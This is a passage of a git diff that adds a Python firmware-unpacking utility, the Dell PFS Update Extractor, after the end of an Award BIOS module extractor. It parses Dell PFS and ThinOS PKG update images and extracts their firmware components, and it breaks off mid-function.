+ + tag_bgn = mod_bgn + 0x16 + tag_end = tag_bgn + input_buffer[mod_bgn + 0x15] + tag_txt = input_buffer[tag_bgn:tag_end].decode('utf-8','ignore') + + printer(f'{lzh_text} > {tag_txt} [0x{mod_bgn:06X}-0x{mod_end:06X}]', padding) + + mod_path = os.path.join(extract_path, safe_name(tag_txt)) + lzh_path = f'{mod_path}.lzh' + + with open(lzh_path, 'wb') as lzh_file: + lzh_file.write(mod_bin) # Store LZH archive + + # 7-Zip returns critical exit code (i.e. 2) if LZH CRC is wrong, do not check result + szip_decompress(lzh_path, extract_path, lzh_text, padding + 4, check=False) + + # Manually check if 7-Zip extracted LZH due to its CRC check issue + if os.path.isfile(mod_path): + os.remove(lzh_path) # Successful extraction, delete LZH archive + + # Extract any nested LZH archives + if is_award_bios(mod_path): + # Recursively extract nested Award BIOS modules + award_bios_extract(mod_path, get_extract_path(mod_path), padding + 8) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_award_bios, award_bios_extract).run_utility() diff --git a/blobs/t480/biosutilities/Dell_PFS_Extract.py b/blobs/t480/biosutilities/Dell_PFS_Extract.py new file mode 100644 index 000000000..b8cb68653 --- /dev/null +++ b/blobs/t480/biosutilities/Dell_PFS_Extract.py @@ -0,0 +1,1067 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Dell PFS Extract +Dell PFS Update Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Dell PFS Update Extractor v6.0_a16' + +import os +import io +import sys +import lzma +import zlib +import ctypes +import contextlib + +# Skip __pycache__ generation +sys.dont_write_bytecode = True + +from common.checksums import get_chk_8_xor +from common.comp_szip import is_szip_supported, szip_decompress +from common.num_ops import get_ordinal +from common.path_ops import del_dirs, get_path_files, make_dirs, path_name, path_parent, path_stem, safe_name +from common.patterns import PAT_DELL_FTR, PAT_DELL_HDR, PAT_DELL_PKG +from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t, uint64_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from AMI_PFAT_Extract import IntelBiosGuardHeader, IntelBiosGuardSignature2k, parse_bg_script + +# Dell PFS Header Structure +class DellPfsHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Tag', char*8), # 0x00 + ('HeaderVersion', uint32_t), # 0x08 + ('PayloadSize', uint32_t), # 0x0C + # 0x10 + ] + + def struct_print(self, p): + printer(['Header Tag :', self.Tag.decode('utf-8')], p, False) + printer(['Header Version:', self.HeaderVersion], p, False) + printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) + +# Dell PFS Footer Structure +class DellPfsFooter(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('PayloadSize', uint32_t), # 0x00 + ('Checksum', uint32_t), # 0x04 ~CRC32 w/ Vector 0 + ('Tag', char*8), # 0x08 + # 0x10 + ] + + def struct_print(self, p): + printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) + printer(['Payload Checksum:', f'0x{self.Checksum:08X}'], p, False) + printer(['Footer Tag :', self.Tag.decode('utf-8')], p, False) + +# Dell PFS Entry Base Structure +class DellPfsEntryBase(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('GUID', uint32_t*4), # 0x00 Little Endian + ('HeaderVersion', uint32_t), # 0x10 1 or 2 + ('VersionType', uint8_t*4), # 0x14 + ('Version', uint16_t*4), # 0x18 + ('Reserved', uint64_t), # 0x20 + ('DataSize', uint32_t), # 0x28 + ('DataSigSize', uint32_t), # 0x2C + ('DataMetSize', uint32_t), # 0x30 + ('DataMetSigSize', uint32_t), # 0x34 + # 0x38 (parent class, base) + ] + + def struct_print(self, p): + GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' + Unknown = f'{int.from_bytes(self.Unknown, "little"):0{len(self.Unknown) * 8}X}' + Version = get_entry_ver(self.Version, self.VersionType) + + printer(['Entry GUID :', GUID], p, False) + printer(['Entry Version :', self.HeaderVersion], p, False) + printer(['Payload Version :', Version], p, False) + printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) + printer(['Payload Data Size :', f'0x{self.DataSize:X}'], p, False) + printer(['Payload Signature Size :', f'0x{self.DataSigSize:X}'], p, False) + printer(['Metadata Data Size :', f'0x{self.DataMetSize:X}'], p, False) + printer(['Metadata Signature Size:', f'0x{self.DataMetSigSize:X}'], p, False) + printer(['Unknown :', f'0x{Unknown}'], p, False) + +# Dell PFS Entry Revision 1 Structure +class DellPfsEntryR1(DellPfsEntryBase): + _pack_ = 1 + _fields_ = [ + ('Unknown', uint32_t*4), # 0x38 + # 0x48 (child class, R1) + ] + +# Dell PFS Entry Revision 2 Structure +class DellPfsEntryR2(DellPfsEntryBase): + _pack_ = 1 + _fields_ = [ + ('Unknown', uint32_t*8), # 0x38 + # 0x58 (child class, R2) + ] + +# Dell PFS Information Header Structure +class DellPfsInfo(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('HeaderVersion', uint32_t), # 0x00 + ('GUID', uint32_t*4), # 0x04 Little Endian + # 0x14 + ] + + def struct_print(self, p): + GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' + + printer(['Info Version:', self.HeaderVersion], p, False) + printer(['Entry GUID :', GUID], p, False) + +# Dell PFS FileName Header Structure +class DellPfsName(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Version', uint16_t*4), # 0x00 + ('VersionType', uint8_t*4), # 0x08 + ('CharacterCount', uint16_t), # 0x0C UTF-16 2-byte Characters + # 0x0E + ] + + def struct_print(self, p, name): + Version = get_entry_ver(self.Version, self.VersionType) + + printer(['Payload Version:', Version], p, False) + printer(['Character Count:', self.CharacterCount], p, False) + printer(['Payload Name :', name], p, False) + +# Dell PFS Metadata Header Structure +class DellPfsMetadata(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('ModelIDs', char*501), # 0x000 + ('FileName', char*100), # 0x1F5 + ('FileVersion', char*33), # 0x259 + ('Date', char*33), # 0x27A + ('Brand', char*80), # 0x29B + ('ModelFile', char*80), # 0x2EB + ('ModelName', char*100), # 0x33B + ('ModelVersion', char*33), # 0x39F + # 0x3C0 + ] + + def struct_print(self, p): + printer(['Model IDs :', self.ModelIDs.decode('utf-8').strip(',END')], p, False) + printer(['File Name :', self.FileName.decode('utf-8')], p, False) + printer(['File Version :', self.FileVersion.decode('utf-8')], p, False) + printer(['Date :', self.Date.decode('utf-8')], p, False) + printer(['Brand :', self.Brand.decode('utf-8')], p, False) + printer(['Model File :', self.ModelFile.decode('utf-8')], p, False) + printer(['Model Name :', self.ModelName.decode('utf-8')], p, False) + printer(['Model Version:', self.ModelVersion.decode('utf-8')], p, False) + +# Dell PFS BIOS Guard Metadata Structure +class DellPfsPfatMetadata(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Address', uint32_t), # 0x00 + ('Unknown0', uint32_t), # 0x04 + ('Offset', uint32_t), # 0x08 Matches BG Script > I0 + ('DataSize', uint32_t), # 0x0C Matches BG Script > I2 & Header > Data Size + ('Unknown1', uint32_t), # 0x10 + ('Unknown2', uint32_t), # 0x14 + ('Unknown3', uint8_t), # 0x18 + # 0x19 + ] + + def struct_print(self, p): + printer(['Address :', f'0x{self.Address:X}'], p, False) + printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) + printer(['Offset :', f'0x{self.Offset:X}'], p, False) + printer(['Length :', f'0x{self.DataSize:X}'], p, False) + printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) + printer(['Unknown 2:', f'0x{self.Unknown2:X}'], p, False) + printer(['Unknown 3:', f'0x{self.Unknown3:X}'], p, False) + +# The Dell ThinOS PKG update images usually contain multiple sections. +# Each section starts with a 0x30 header, which begins with pattern 72135500. +# The section length is found at 0x10-0x14 and its (optional) MD5 hash at 0x20-0x30. +# Section data can be raw or LZMA2 (7zXZ) compressed. The latter contains the PFS update image. +def is_pfs_pkg(input_file): + input_buffer = file_to_bytes(input_file) + + return PAT_DELL_PKG.search(input_buffer) + +# The Dell PFS update images usually contain multiple sections. +# Each section is zlib-compressed with header pattern ********++EEAA761BECBB20F1E651--789C, +# where ******** is the zlib stream size, ++ is the section type and -- the header Checksum XOR 8. +# The "Firmware" section has type AA and its files are stored in PFS format. +# The "Utility" section has type BB and its files are stored in PFS, BIN or 7z formats. +def is_pfs_hdr(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_DELL_HDR.search(input_buffer)) + +# Each section is followed by the footer pattern ********EEAAEE8F491BE8AE143790--, +# where ******** is the zlib stream size and ++ the footer Checksum XOR 8. +def is_pfs_ftr(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_DELL_FTR.search(input_buffer)) + +# Check if input is Dell PFS/PKG image +def is_dell_pfs(input_file): + input_buffer = file_to_bytes(input_file) + + is_pkg = is_pfs_pkg(input_buffer) + + is_hdr = is_pfs_hdr(input_buffer) + + is_ftr = is_pfs_ftr(input_buffer) + + return bool(is_pkg or is_hdr and is_ftr) + +# Parse & Extract Dell PFS Update image +def pfs_pkg_parse(input_file, extract_path, padding=0, structure=True, advanced=True): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + is_dell_pkg = is_pfs_pkg(input_buffer) + + if is_dell_pkg: + pfs_results = thinos_pkg_extract(input_buffer, extract_path) + else: + pfs_results = {path_stem(input_file) if os.path.isfile(input_file) else 'Image': input_buffer} + + # Parse each Dell PFS image contained in the input file + for pfs_index,(pfs_name,pfs_buffer) in enumerate(pfs_results.items(), start=1): + # At ThinOS PKG packages, multiple PFS images may be included in separate model-named folders + pfs_path = os.path.join(extract_path, f'{pfs_index} {pfs_name}') if is_dell_pkg else extract_path + # Parse each PFS ZLIB section + for zlib_offset in get_section_offsets(pfs_buffer): + # Call the PFS ZLIB section parser function + pfs_section_parse(pfs_buffer, zlib_offset, pfs_path, pfs_name, pfs_index, 1, False, padding, structure, advanced) + +# Extract Dell ThinOS PKG 7zXZ +def thinos_pkg_extract(input_file, extract_path): + input_buffer = file_to_bytes(input_file) + + # Initialize PFS results (Name: Buffer) + pfs_results = {} + + # Search input image for ThinOS PKG 7zXZ header + thinos_pkg_match = PAT_DELL_PKG.search(input_buffer) + + lzma_len_off = thinos_pkg_match.start() + 0x10 + lzma_len_int = int.from_bytes(input_buffer[lzma_len_off:lzma_len_off + 0x4], 'little') + lzma_bin_off = thinos_pkg_match.end() - 0x5 + lzma_bin_dat = input_buffer[lzma_bin_off:lzma_bin_off + lzma_len_int] + + # Check if the compressed 7zXZ stream is complete + if len(lzma_bin_dat) != lzma_len_int: + return pfs_results + + working_path = os.path.join(extract_path, 'THINOS_PKG_TEMP') + + make_dirs(working_path, delete=True) + + pkg_tar_path = os.path.join(working_path, 'THINOS_PKG.TAR') + + with open(pkg_tar_path, 'wb') as pkg_payload: + pkg_payload.write(lzma.decompress(lzma_bin_dat)) + + if is_szip_supported(pkg_tar_path, 0, args=['-tTAR'], check=True, silent=True): + if szip_decompress(pkg_tar_path, working_path, 'TAR', 0, args=['-tTAR'], check=True, silent=True) == 0: + os.remove(pkg_tar_path) + else: + return pfs_results + else: + return pfs_results + + for pkg_file in get_path_files(working_path): + if is_pfs_hdr(pkg_file): + pfs_name = path_name(path_parent(pkg_file)) + pfs_results.update({pfs_name: file_to_bytes(pkg_file)}) + + del_dirs(working_path) + + return pfs_results + +# Get PFS ZLIB Section Offsets +def get_section_offsets(buffer): + pfs_zlib_list = [] # Initialize PFS ZLIB offset list + + pfs_zlib_init = list(PAT_DELL_HDR.finditer(buffer)) + + if not pfs_zlib_init: + return pfs_zlib_list # No PFS ZLIB detected + + # Remove duplicate/nested PFS ZLIB offsets + for zlib_c in pfs_zlib_init: + is_duplicate = False # Initialize duplicate/nested PFS ZLIB offset + + for zlib_o in pfs_zlib_init: + zlib_o_size = int.from_bytes(buffer[zlib_o.start() - 0x5:zlib_o.start() - 0x1], 'little') + + # If current PFS ZLIB offset is within another PFS ZLIB range (start-end), set as duplicate + if zlib_o.start() < zlib_c.start() < zlib_o.start() + zlib_o_size: + is_duplicate = True + + if not is_duplicate: + pfs_zlib_list.append(zlib_c.start()) + + return pfs_zlib_list + +# Dell PFS ZLIB Section Parser +def pfs_section_parse(zlib_data, zlib_start, extract_path, pfs_name, pfs_index, pfs_count, is_rec, padding=0, structure=True, advanced=True): + is_zlib_error = False # Initialize PFS ZLIB-related error state + + section_type = zlib_data[zlib_start - 0x1] # Byte before PFS ZLIB Section pattern is Section Type (e.g. AA, BB) + section_name = {0xAA:'Firmware', 0xBB:'Utilities'}.get(section_type, f'Unknown ({section_type:02X})') + + # Show extraction complete message for each main PFS ZLIB Section + printer(f'Extracting Dell PFS {pfs_index} > {pfs_name} > {section_name}', padding) + + # Set PFS ZLIB Section extraction sub-directory path + section_path = os.path.join(extract_path, safe_name(section_name)) + + # Create extraction sub-directory and delete old (if present, not in recursions) + make_dirs(section_path, delete=(not is_rec), parents=True, exist_ok=True) + + # Store the compressed zlib stream start offset + compressed_start = zlib_start + 0xB + + # Store the PFS ZLIB section header start offset + header_start = zlib_start - 0x5 + + # Store the PFS ZLIB section header contents (16 bytes) + header_data = zlib_data[header_start:compressed_start] + + # Check if the PFS ZLIB section header Checksum XOR 8 is valid + if get_chk_8_xor(header_data[:0xF]) != header_data[0xF]: + printer('Error: Invalid Dell PFS ZLIB section Header Checksum!', padding) + is_zlib_error = True + + # Store the compressed zlib stream size from the header contents + compressed_size_hdr = int.from_bytes(header_data[:0x4], 'little') + + # Store the compressed zlib stream end offset + compressed_end = compressed_start + compressed_size_hdr + + # Store the compressed zlib stream contents + compressed_data = zlib_data[compressed_start:compressed_end] + + # Check if the compressed zlib stream is complete, based on header + if len(compressed_data) != compressed_size_hdr: + printer('Error: Incomplete Dell PFS ZLIB section data (Header)!', padding) + is_zlib_error = True + + # Store the PFS ZLIB section footer contents (16 bytes) + footer_data = zlib_data[compressed_end:compressed_end + 0x10] + + # Check if PFS ZLIB section footer was found in the section + if not is_pfs_ftr(footer_data): + printer('Error: This Dell PFS ZLIB section is corrupted!', padding) + is_zlib_error = True + + # Check if the PFS ZLIB section footer Checksum XOR 8 is valid + if get_chk_8_xor(footer_data[:0xF]) != footer_data[0xF]: + printer('Error: Invalid Dell PFS ZLIB section Footer Checksum!', padding) + is_zlib_error = True + + # Store the compressed zlib stream size from the footer contents + compressed_size_ftr = int.from_bytes(footer_data[:0x4], 'little') + + # Check if the compressed zlib stream is complete, based on footer + if compressed_size_ftr != compressed_size_hdr: + printer('Error: Incomplete Dell PFS ZLIB section data (Footer)!', padding) + is_zlib_error = True + + # Decompress PFS ZLIB section payload + try: + if is_zlib_error: + raise Exception('ZLIB_ERROR') # ZLIB errors are critical + section_data = zlib.decompress(compressed_data) # ZLIB decompression + except Exception: + section_data = zlib_data # Fallback to raw ZLIB data upon critical error + + # Call the PFS Extract function on the decompressed PFS ZLIB Section + pfs_extract(section_data, pfs_index, pfs_name, pfs_count, section_path, padding, structure, advanced) + +# Parse & Extract Dell PFS Volume +def pfs_extract(buffer, pfs_index, pfs_name, pfs_count, extract_path, padding=0, structure=True, advanced=True): + # Show PFS Volume indicator + if structure: + printer('PFS Volume:', padding) + + # Get PFS Header Structure values + pfs_hdr = get_struct(buffer, 0, DellPfsHeader) + + # Validate that a PFS Header was parsed + if pfs_hdr.Tag != b'PFS.HDR.': + printer('Error: PFS Header could not be found!', padding + 4) + + return # Critical error, abort + + # Show PFS Header Structure info + if structure: + printer('PFS Header:\n', padding + 4) + pfs_hdr.struct_print(padding + 8) + + # Validate that a known PFS Header Version was encountered + chk_hdr_ver(pfs_hdr.HeaderVersion, 'PFS', padding + 8) + + # Get PFS Payload Data + pfs_payload = buffer[PFS_HEAD_LEN:PFS_HEAD_LEN + pfs_hdr.PayloadSize] + + # Parse all PFS Payload Entries/Components + entry_index = 1 # Index number of each PFS Entry + entry_start = 0 # Increasing PFS Entry starting offset + entries_all = [] # Storage for each PFS Entry details + filename_info = [] # Buffer for FileName Information Entry Data + signature_info = [] # Buffer for Signature Information Entry Data + pfs_entry_struct,pfs_entry_size = get_pfs_entry(pfs_payload, entry_start) # Get PFS Entry Info + while len(pfs_payload[entry_start:entry_start + pfs_entry_size]) == pfs_entry_size: + # Analyze PFS Entry Structure and get relevant info + _,entry_version,entry_guid,entry_data,entry_data_sig,entry_met,entry_met_sig,next_entry = \ + parse_pfs_entry(pfs_payload, entry_start, pfs_entry_size, pfs_entry_struct, 'PFS Entry', padding, structure) + + entry_type = 'OTHER' # Adjusted later if PFS Entry is Zlib, PFAT, PFS Info, Model Info + + # Get PFS Information from the PFS Entry with GUID E0717CE3A9BB25824B9F0DC8FD041960 or B033CB16EC9B45A14055F80E4D583FD3 + if entry_guid in ['E0717CE3A9BB25824B9F0DC8FD041960','B033CB16EC9B45A14055F80E4D583FD3']: + filename_info = entry_data + entry_type = 'NAME_INFO' + + # Get Model Information from the PFS Entry with GUID 6F1D619A22A6CB924FD4DA68233AE3FB + elif entry_guid == '6F1D619A22A6CB924FD4DA68233AE3FB': + entry_type = 'MODEL_INFO' + + # Get Signature Information from the PFS Entry with GUID D086AFEE3ADBAEA94D5CED583C880BB7 + elif entry_guid == 'D086AFEE3ADBAEA94D5CED583C880BB7': + signature_info = entry_data + entry_type = 'SIG_INFO' + + # Get Nested PFS from the PFS Entry with GUID 900FAE60437F3AB14055F456AC9FDA84 + elif entry_guid == '900FAE60437F3AB14055F456AC9FDA84': + entry_type = 'NESTED_PFS' # Nested PFS are usually zlib-compressed so it might change to 'ZLIB' later + + # Store all relevant PFS Entry details + entries_all.append([entry_index, entry_guid, entry_version, entry_type, entry_data, entry_data_sig, entry_met, entry_met_sig]) + + entry_index += 1 # Increase PFS Entry Index number for user-friendly output and name duplicates + entry_start = next_entry # Next PFS Entry starts after PFS Entry Metadata Signature + + # Parse all PFS Information Entries/Descriptors + info_start = 0 # Increasing PFS Information Entry starting offset + info_all = [] # Storage for each PFS Information Entry details + while len(filename_info[info_start:info_start + PFS_INFO_LEN]) == PFS_INFO_LEN: + # Get PFS Information Header Structure info + entry_info_hdr = get_struct(filename_info, info_start, DellPfsInfo) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Header:\n', padding + 4) + entry_info_hdr.struct_print(padding + 8) + + # Validate that a known PFS Information Header Version was encountered + if entry_info_hdr.HeaderVersion != 1: + printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) + break # Skip PFS Information Entries/Descriptors in case of unknown PFS Information Header Version + + # Get PFS Information Header GUID in Big Endian format to match each Info to the equivalent stored PFS Entry details + entry_guid = f'{int.from_bytes(entry_info_hdr.GUID, "little"):0{0x10 * 2}X}' + + # Get PFS FileName Structure values + entry_info_mod = get_struct(filename_info, info_start + PFS_INFO_LEN, DellPfsName) + + # The PFS FileName Structure is not complete by itself. The size of the last field (Entry Name) is determined from + # CharacterCount multiplied by 2 due to usage of UTF-16 2-byte Characters. Any Entry Name leading and/or trailing + # space/null characters are stripped and common Windows reserved/illegal filename characters are replaced + name_start = info_start + PFS_INFO_LEN + PFS_NAME_LEN # PFS Entry's FileName start offset + name_size = entry_info_mod.CharacterCount * 2 # PFS Entry's FileName buffer total size + name_data = filename_info[name_start:name_start + name_size] # PFS Entry's FileName buffer + entry_name = safe_name(name_data.decode('utf-16').strip()) # PFS Entry's FileName value + + # Show PFS FileName Structure info + if structure: + printer('PFS FileName Entry:\n', padding + 8) + entry_info_mod.struct_print(padding + 12, entry_name) + + # Get PFS FileName Version string via "Version" and "VersionType" fields + # PFS FileName Version string must be preferred over PFS Entry's Version + entry_version = get_entry_ver(entry_info_mod.Version, entry_info_mod.VersionType) + + # Store all relevant PFS FileName details + info_all.append([entry_guid, entry_name, entry_version]) + + # The next PFS Information Header starts after the calculated FileName size + # Two space/null characters seem to always exist after each FileName value + info_start += (PFS_INFO_LEN + PFS_NAME_LEN + name_size + 0x2) + + # Parse Nested PFS Metadata when its PFS Information Entry is missing + for index in range(len(entries_all)): + if entries_all[index][3] == 'NESTED_PFS' and not filename_info: + entry_guid = entries_all[index][1] # Nested PFS Entry GUID in Big Endian format + entry_metadata = entries_all[index][6] # Use Metadata as PFS Information Entry + + # When PFS Information Entry exists, Nested PFS Metadata contains only Model IDs + # When it's missing, the Metadata structure is large and contains equivalent info + if len(entry_metadata) >= PFS_META_LEN: + # Get Nested PFS Metadata Structure values + entry_info = get_struct(entry_metadata, 0, DellPfsMetadata) + + # Show Nested PFS Metadata Structure info + if structure: + printer('PFS Metadata Information:\n', padding + 4) + entry_info.struct_print(padding + 8) + + # As Nested PFS Entry Name, we'll use the actual PFS File Name + # Replace common Windows reserved/illegal filename characters + entry_name = safe_name(entry_info.FileName.decode('utf-8').strip('.exe')) + + # As Nested PFS Entry Version, we'll use the actual PFS File Version + entry_version = entry_info.FileVersion.decode('utf-8') + + # Store all relevant Nested PFS Metadata/Information details + info_all.append([entry_guid, entry_name, entry_version]) + + # Re-set Nested PFS Entry Version from Metadata + entries_all[index][2] = entry_version + + # Parse all PFS Signature Entries/Descriptors + sign_start = 0 # Increasing PFS Signature Entry starting offset + while len(signature_info[sign_start:sign_start + PFS_INFO_LEN]) == PFS_INFO_LEN: + # Get PFS Information Header Structure info + entry_info_hdr = get_struct(signature_info, sign_start, DellPfsInfo) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Header:\n', padding + 4) + entry_info_hdr.struct_print(padding + 8) + + # Validate that a known PFS Information Header Version was encountered + if entry_info_hdr.HeaderVersion != 1: + printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) + break # Skip PFS Signature Entries/Descriptors in case of unknown Header Version + + # PFS Signature Entries/Descriptors have DellPfsInfo + DellPfsEntryR* + Sign Size [0x2] + Sign Data [Sig Size] + pfs_entry_struct, pfs_entry_size = get_pfs_entry(signature_info, sign_start + PFS_INFO_LEN) # Get PFS Entry Info + + # Get PFS Entry Header Structure info + entry_hdr = get_struct(signature_info, sign_start + PFS_INFO_LEN, pfs_entry_struct) + + # Show PFS Information Header Structure info + if structure: + printer('PFS Information Entry:\n', padding + 8) + entry_hdr.struct_print(padding + 12) + + # Show PFS Signature Size & Data (after DellPfsEntryR*) + sign_info_start = sign_start + PFS_INFO_LEN + pfs_entry_size + sign_size = int.from_bytes(signature_info[sign_info_start:sign_info_start + 0x2], 'little') + sign_data_raw = signature_info[sign_info_start + 0x2:sign_info_start + 0x2 + sign_size] + sign_data_txt = f'{int.from_bytes(sign_data_raw, "little"):0{sign_size * 2}X}' + + if structure: + printer('Signature Information:\n', padding + 8) + printer(f'Signature Size: 0x{sign_size:X}', padding + 12, False) + printer(f'Signature Data: {sign_data_txt[:32]} [...]', padding + 12, False) + + # The next PFS Signature Entry/Descriptor starts after the previous Signature Data + sign_start += (PFS_INFO_LEN + pfs_entry_size + 0x2 + sign_size) + + # Parse each PFS Entry Data for special types (zlib or PFAT) + for index in range(len(entries_all)): + entry_data = entries_all[index][4] # Get PFS Entry Data + entry_type = entries_all[index][3] # Get PFS Entry Type + + # Very small PFS Entry Data cannot be of special type + if len(entry_data) < PFS_HEAD_LEN: + continue + + # Check if PFS Entry contains zlib-compressed sub-PFS Volume + pfs_zlib_offsets = get_section_offsets(entry_data) + + # Check if PFS Entry contains sub-PFS Volume with PFAT Payload + is_pfat = False # Initial PFAT state for sub-PFS Entry + _, pfat_entry_size = get_pfs_entry(entry_data, PFS_HEAD_LEN) # Get possible PFS PFAT Entry Size + pfat_hdr_off = PFS_HEAD_LEN + pfat_entry_size # Possible PFAT Header starts after PFS Header & Entry + pfat_entry_hdr = get_struct(entry_data, 0, DellPfsHeader) # Possible PFS PFAT Entry + if len(entry_data) - pfat_hdr_off >= PFAT_HDR_LEN: + pfat_hdr = get_struct(entry_data, pfat_hdr_off, IntelBiosGuardHeader) + is_pfat = pfat_hdr.get_platform_id().upper().startswith('DELL') + + # Parse PFS Entry which contains sub-PFS Volume with PFAT Payload + if pfat_entry_hdr.Tag == b'PFS.HDR.' and is_pfat: + entry_type = 'PFAT' # Re-set PFS Entry Type from OTHER to PFAT, to use such info afterwards + + entry_data = parse_pfat_pfs(pfat_entry_hdr, entry_data, padding, structure) # Parse sub-PFS PFAT Volume + + # Parse PFS Entry which contains zlib-compressed sub-PFS Volume + elif pfs_zlib_offsets: + entry_type = 'ZLIB' # Re-set PFS Entry Type from OTHER to ZLIB, to use such info afterwards + pfs_count += 1 # Increase the count/index of parsed main PFS structures by one + + # Parse each sub-PFS ZLIB Section + for offset in pfs_zlib_offsets: + # Get the Name of the zlib-compressed full PFS structure via the already stored PFS Information + # The zlib-compressed full PFS structure(s) are used to contain multiple FW (CombineBiosNameX) + # When zlib-compressed full PFS structure(s) exist within the main/first full PFS structure, + # its PFS Information should contain their names (CombineBiosNameX). Since the main/first + # full PFS structure has count/index 1, the rest start at 2+ and thus, their PFS Information + # names can be retrieved in order by subtracting 2 from the main/first PFS Information values + sub_pfs_name = f'{info_all[pfs_count - 2][1]} v{info_all[pfs_count - 2][2]}' if info_all else ' UNKNOWN' + + # Set the sub-PFS output path (create sub-folders for each sub-PFS and its ZLIB sections) + sub_pfs_path = os.path.join(extract_path, f'{pfs_count} {safe_name(sub_pfs_name)}') + + # Recursively call the PFS ZLIB Section Parser function for the sub-PFS Volume (pfs_index = pfs_count) + pfs_section_parse(entry_data, offset, sub_pfs_path, sub_pfs_name, pfs_count, pfs_count, True, padding + 4, structure, advanced) + + entries_all[index][4] = entry_data # Adjust PFS Entry Data after parsing PFAT (same ZLIB raw data, not stored afterwards) + entries_all[index][3] = entry_type # Adjust PFS Entry Type from OTHER to PFAT or ZLIB (ZLIB is ignored at file extraction) + + # Name & Store each PFS Entry/Component Data, Data Signature, Metadata, Metadata Signature + for entry_index in range(len(entries_all)): + file_index = entries_all[entry_index][0] + file_guid = entries_all[entry_index][1] + file_version = entries_all[entry_index][2] + file_type = entries_all[entry_index][3] + file_data = entries_all[entry_index][4] + file_data_sig = entries_all[entry_index][5] + file_meta = entries_all[entry_index][6] + file_meta_sig = entries_all[entry_index][7] + + # Give Names to special PFS Entries, not covered by PFS Information + if file_type == 'MODEL_INFO': + file_name = 'Model Information' + elif file_type == 'NAME_INFO': + file_name = 'Filename Information' + if not advanced: + continue # Don't store Filename Information in non-advanced user mode + elif file_type == 'SIG_INFO': + file_name = 'Signature Information' + if not advanced: + continue # Don't store Signature Information in non-advanced user mode + else: + file_name = '' + + # Most PFS Entry Names & Versions are found at PFS Information via their GUID + # Version can be found at DellPfsEntryR* but prefer PFS Information when possible + for info_index in range(len(info_all)): + info_guid = info_all[info_index][0] + info_name = info_all[info_index][1] + info_version = info_all[info_index][2] + + # Give proper Name & Version info if Entry/Information GUIDs match + if info_guid == file_guid: + file_name = info_name + file_version = info_version + + info_all[info_index][0] = 'USED' # PFS with zlib-compressed sub-PFS use the same GUID + + break # Break at 1st Name match to not rename again from next zlib-compressed sub-PFS with the same GUID + + # For both advanced & non-advanced users, the goal is to store final/usable files only + # so empty or intermediate files such as sub-PFS, PFS w/ PFAT or zlib-PFS are skipped + # Main/First PFS CombineBiosNameX Metadata files must be kept for accurate Model Information + # All users should check these files in order to choose the correct CombineBiosNameX modules + write_files = [] # Initialize list of output PFS Entry files to be written/extracted + + is_zlib = bool(file_type == 'ZLIB') # Determine if PFS Entry Data was zlib-compressed + + if file_data and not is_zlib: + write_files.append([file_data, 'data']) # PFS Entry Data Payload + + if file_data_sig and advanced: + write_files.append([file_data_sig, 'sign_data']) # PFS Entry Data Signature + + if file_meta and (is_zlib or advanced): + write_files.append([file_meta, 'meta']) # PFS Entry Metadata Payload + + if file_meta_sig and advanced: + write_files.append([file_meta_sig, 'sign_meta']) # PFS Entry Metadata Signature + + # Write/Extract PFS Entry files + for file in write_files: + full_name = f'{pfs_index} {pfs_name} -- {file_index} {file_name} v{file_version}' # Full PFS Entry Name + pfs_file_write(file[0], file[1], file_type, full_name, extract_path, padding, structure, advanced) + + # Get PFS Footer Data after PFS Header Payload + pfs_footer = buffer[PFS_HEAD_LEN + pfs_hdr.PayloadSize:PFS_HEAD_LEN + pfs_hdr.PayloadSize + PFS_FOOT_LEN] + + # Analyze PFS Footer Structure + chk_pfs_ftr(pfs_footer, pfs_payload, pfs_hdr.PayloadSize, 'PFS', padding, structure) + +# Analyze Dell PFS Entry Structure +def parse_pfs_entry(entry_buffer, entry_start, entry_size, entry_struct, text, padding=0, structure=True): + # Get PFS Entry Structure values + pfs_entry = get_struct(entry_buffer, entry_start, entry_struct) + + # Show PFS Entry Structure info + if structure: + printer('PFS Entry:\n', padding + 4) + pfs_entry.struct_print(padding + 8) + + # Validate that a known PFS Entry Header Version was encountered + chk_hdr_ver(pfs_entry.HeaderVersion, text, padding + 8) + + # Validate that the PFS Entry Reserved field is empty + if pfs_entry.Reserved != 0: + printer(f'Error: Detected non-empty {text} Reserved field!', padding + 8) + + # Get PFS Entry Version string via "Version" and "VersionType" fields + entry_version = get_entry_ver(pfs_entry.Version, pfs_entry.VersionType) + + # Get PFS Entry GUID in Big Endian format + entry_guid = f'{int.from_bytes(pfs_entry.GUID, "little"):0{0x10 * 2}X}' + + # PFS Entry Data starts after the PFS Entry Structure + entry_data_start = entry_start + entry_size + entry_data_end = entry_data_start + pfs_entry.DataSize + + # PFS Entry Data Signature starts after PFS Entry Data + entry_data_sig_start = entry_data_end + entry_data_sig_end = entry_data_sig_start + pfs_entry.DataSigSize + + # PFS Entry Metadata starts after PFS Entry Data Signature + entry_met_start = entry_data_sig_end + entry_met_end = entry_met_start + 